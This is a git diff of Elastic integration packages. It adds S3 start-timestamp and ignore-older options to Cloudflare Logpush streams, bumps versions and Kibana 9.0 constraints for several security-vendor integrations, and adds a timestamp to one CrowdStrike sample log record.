+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_dns_firewall}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs
index cb938b515fe..306d76c71f1 100644
--- a/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/firewall_event/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_firewall_event}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs
index f046eac539c..5cfaf5feefa 100644
--- a/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/gateway_dns/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_gateway_dns}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs
index a407a5ca10d..670a1ac3401 100644
--- a/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/gateway_http/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_gateway_http}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs
index 7b4d553b880..721a93ca61d 100644
--- a/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/gateway_network/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_gateway_network}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs
index 8f3d8af92f7..306bc89f624 100644
--- a/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/http_request/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,15 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_http_request}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs
index e299dc5bbaa..d8df996faed 100644
--- a/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/magic_ids/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_magic_ids}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml b/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml
index 4c543025397..d4d9f9bad8d 100644
--- a/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/magic_ids/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs
index 52139e5a7d5..1e72ad4ca14 100644
--- a/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/nel_report/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_nel_report}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml b/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml
index 46a0be2dfb9..c56dae2c9ea 100644
--- a/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/nel_report/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs
index 9fb821c1387..0e844952c14 100644
--- a/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/network_analytics/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_network_analytics}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml b/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml
index 80b0f7c7fb7..bb7cde02490 100644
--- a/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/network_analytics/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs
index e0de152cef9..6e388e9f99b 100644
--- a/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/network_session/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_network_session}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/network_session/manifest.yml b/packages/cloudflare_logpush/data_stream/network_session/manifest.yml
index 12b58e96b59..1d89f1d8827 100644
--- a/packages/cloudflare_logpush/data_stream/network_session/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/network_session/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs
index 331544ccbca..48942109921 100644
--- a/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/sinkhole_http/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_sinkhole_http}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml b/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml
index 43dd7702c84..a67e37d7536 100644
--- a/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/sinkhole_http/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs
index adc38601da5..a94cdab6c3d 100644
--- a/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/spectrum_event/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_spectrum_event}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml b/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml
index c6c7b89e643..0fe5dcbae7b 100644
--- a/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/spectrum_event/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs b/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs
index 424d0e423c6..47b2e32df9a 100644
--- a/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs
+++ b/packages/cloudflare_logpush/data_stream/workers_trace/agent/stream/aws-s3.yml.hbs
@@ -21,6 +21,14 @@ bucket_list_prefix: {{ bucket_list_prefix }}
bucket_list_interval: {{ bucket_list_interval }}
{{/if}}
+{{#if start_timestamp}}
+start_timestamp: {{start_timestamp}}
+{{/if}}
+
+{{#if ignore_older}}
+ignore_older: {{ignore_older}}
+{{/if}}
+
{{! AWS S3 bucket ARN options }}
{{#unless cloudflare_r2_workers_trace}}
{{#unless cloudflare_r2}}
diff --git a/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml b/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml
index 2363b0726b4..4f11f9831cf 100644
--- a/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml
+++ b/packages/cloudflare_logpush/data_stream/workers_trace/manifest.yml
@@ -121,6 +121,20 @@ streams:
show_user: true
default: 5
description: Number of workers that will process the S3 objects listed.
+ - name: start_timestamp
+ type: text
+ title: "[S3] Start Timestamp"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset).
+ - name: ignore_older
+ type: text
+ title: "[S3] Ignore Older Timespan"
+ multi: false
+ required: false
+ show_user: false
+ description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`.
- name: visibility_timeout
type: text
title: '[SQS] Visibility Timeout'
diff --git a/packages/cloudflare_logpush/manifest.yml b/packages/cloudflare_logpush/manifest.yml
index 8d90d2248b0..7ec4458367c 100644
--- a/packages/cloudflare_logpush/manifest.yml
+++ b/packages/cloudflare_logpush/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: cloudflare_logpush
title: Cloudflare Logpush
-version: "1.34.1"
+version: "1.35.0"
description: Collect and parse logs from Cloudflare API with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- cdn_security
conditions:
kibana:
- version: "^8.16.2 || ^9.0.0"
+ version: "^8.16.5 || ^9.0.0"
screenshots:
- src: /img/cloudflare_logpush-overview1.png
title: Cloudflare Logpush - Zero Trust Overview
diff --git a/packages/corelight/changelog.yml b/packages/corelight/changelog.yml
index d3482306603..a2bcf0c4e88 100644
--- a/packages/corelight/changelog.yml
+++ b/packages/corelight/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.8.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.7.0"
changes:
- description: Enable "Paginate table" toggle and display all available columns of table visualization, and add Less Secure TLS version visualization to relevant dashboards.
diff --git a/packages/corelight/manifest.yml b/packages/corelight/manifest.yml
index 91ab7b33c38..028c57edeb5 100644
--- a/packages/corelight/manifest.yml
+++ b/packages/corelight/manifest.yml
@@ -1,7 +1,7 @@
format_version: 3.2.1
name: corelight
title: Corelight
-version: 0.7.0
+version: "0.8.0"
description: Collect logs from Corelight with Elastic Agent.
type: integration
categories:
@@ -12,7 +12,7 @@ categories:
- vpn_security
conditions:
kibana:
- version: ^8.16.0
+ version: "^8.16.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/cribl/changelog.yml b/packages/cribl/changelog.yml
index 928d18fa413..8aa704894f1 100644
--- a/packages/cribl/changelog.yml
+++ b/packages/cribl/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.5.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.4.2"
changes:
- description: Use triple-brace Mustache templating when referencing variables in ingest pipelines.
diff --git a/packages/cribl/manifest.yml b/packages/cribl/manifest.yml
index cca7e892f63..5ffc7c3005c 100644
--- a/packages/cribl/manifest.yml
+++ b/packages/cribl/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.0.3
name: cribl
title: "Cribl"
-version: "0.4.2"
+version: "0.5.0"
description: Stream logs from Cribl into Elastic.
type: integration
categories:
- custom
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
icons:
- src: /img/logo.svg
title: Cribl logo
diff --git a/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
index 8e657f8452e..e1185b0d0fc 100644
--- a/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
+++ b/packages/crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
@@ -123,4 +123,4 @@
{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
-{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment"}
+{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
diff --git a/packages/cyberark_epm/changelog.yml b/packages/cyberark_epm/changelog.yml
index 4bb22aa69f2..afcba9870d4 100644
--- a/packages/cyberark_epm/changelog.yml
+++ b/packages/cyberark_epm/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "0.2.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "0.1.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/cyberark_epm/manifest.yml b/packages/cyberark_epm/manifest.yml
index 15c3d9983f8..d2fe8c8398e 100644
--- a/packages/cyberark_epm/manifest.yml
+++ b/packages/cyberark_epm/manifest.yml
@@ -1,14 +1,14 @@
format_version: 3.3.0
name: cyberark_epm
title: CyberArk EPM
-version: 0.1.1
+version: "0.2.0"
description: Collect logs from CyberArk EPM with Elastic Agent.
type: integration
categories:
- security
conditions:
kibana:
- version: ^8.16.0
+ version: "^8.16.0 || ^9.0.0"
elastic:
subscription: basic
screenshots:
diff --git a/packages/cyberark_pta/changelog.yml b/packages/cyberark_pta/changelog.yml
index ae7a14a34f1..57160771fa2 100644
--- a/packages/cyberark_pta/changelog.yml
+++ b/packages/cyberark_pta/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "1.12.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.11.0"
changes:
- description: Add "preserve_original_event" tag to documents with `event.kind` set to "pipeline_error".
diff --git a/packages/cyberark_pta/manifest.yml b/packages/cyberark_pta/manifest.yml
index 4a8fb3b56e2..4519122fc43 100644
--- a/packages/cyberark_pta/manifest.yml
+++ b/packages/cyberark_pta/manifest.yml
@@ -1,13 +1,13 @@
name: cyberark_pta
title: Cyberark Privileged Threat Analytics
-version: "1.11.0"
+version: "1.12.0"
description: Collect security logs from Cyberark PTA integration.
type: integration
format_version: "3.0.3"
categories: ["security", "iam"]
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/cyberarkpta-overview.png
title: cyberark pta overview
diff --git a/packages/cyberarkpas/changelog.yml b/packages/cyberarkpas/changelog.yml
index 6f5b1337c14..f9762a4881b 100644
--- a/packages/cyberarkpas/changelog.yml
+++ b/packages/cyberarkpas/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
+- version: "2.27.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "2.26.1"
changes:
- description: Updated SSL description to be uniform and to include links to documentation.
diff --git a/packages/cyberarkpas/manifest.yml b/packages/cyberarkpas/manifest.yml
index 45036ce0467..7c28b85198b 100644
--- a/packages/cyberarkpas/manifest.yml
+++ b/packages/cyberarkpas/manifest.yml
@@ -1,13 +1,13 @@
name: cyberarkpas
title: CyberArk Privileged Access Security
-version: "2.26.1"
+version: "2.27.0"
description: Collect logs from CyberArk Privileged Access Security with Elastic Agent.
type: integration
format_version: "3.0.3"
categories: ["security", "iam"]
conditions:
kibana:
- version: "^8.14.0"
+ version: "^8.14.0 || ^9.0.0"
screenshots:
- src: /img/filebeat-cyberarkpas-overview.png
title: filebeat cyberarkpas overview
diff --git a/packages/cybereason/changelog.yml b/packages/cybereason/changelog.yml
index c77753b4999..6caf6911186 100644
--- a/packages/cybereason/changelog.yml
+++ b/packages/cybereason/changelog.yml
@@ -1,4 +1,9 @@
# newer versions go on top
